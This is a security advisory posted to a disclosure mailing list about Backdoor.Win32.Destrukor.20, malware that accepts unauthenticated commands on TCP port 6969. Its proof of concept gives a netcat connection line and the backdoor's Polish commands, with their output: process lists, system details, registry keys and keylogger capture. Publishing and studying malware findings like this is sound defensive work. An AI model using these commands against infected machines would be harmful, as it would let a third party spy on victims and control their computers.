Message-ID: <CAAHK0WTUDepv-2pGkCX3ADJPebGC7jKRYGbXJQdKdzp9Oq7Erg@mail.gmail.com>
Date: Sat, 30 Jul 2022 21:16:04 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Destrukor.20 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Destrukor.20
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6969. Third-party adversaries
who can reach infected hosts can run commands made available by the
backdoor. Remote attackers can read anything the victim types by starting
the remote key log command "key_on". Some commands in Polish include
"podglad", "dyski", "procesy", "wywiad", "rej_klucze1", "offserver" and
many others.
Family: Destrukor
Type: PE32
MD5: c790749f851d48e66e7d59cc2e451956
Vuln ID: MVID-2022-0627
Dropped files: sys32.exe
Disclosure: 07/30/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 6969
podglad
podglad_ok140922

dyski
C:\ - Dysk lokalny
D:\ - CD-ROM

procesy
procesy
C:\Windows\System32\sihost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\taskhostw.exe
C:\Windows\System32\ctfmon.exe
C:\Windows\explorer.exe
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Program Files\Process Hacker 2\ProcessHacker.exe
C:\Windows\System32\vm3dservice.exe
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\taskhostw.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\dllhost.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
C:\Windows\sys32.exe

wywiad\r\n
wywiad
Windows 10 Enterprise
gg
DESKTOP-2C3IQHO
192.168.18.125
2852
12778
C:\WINDOWS
2.0.0

rej_klucze1
AppEvents
AppXBackupContentType
Console
Control Panel
Environment
EUDC
Keyboard Layout
Network
Printers
Software
System
Volatile Environment

key_on
@N@O@T@E@P@A@D@[Enter]
@[L Ctrl]@A@[<-BckSpc]@[L Shift]@I@ @[L Shift]@D@O@N@T@ @L@I@K@E@ @Y@O@U@1
  ===> "I DONT LIKE YOU"

offserver

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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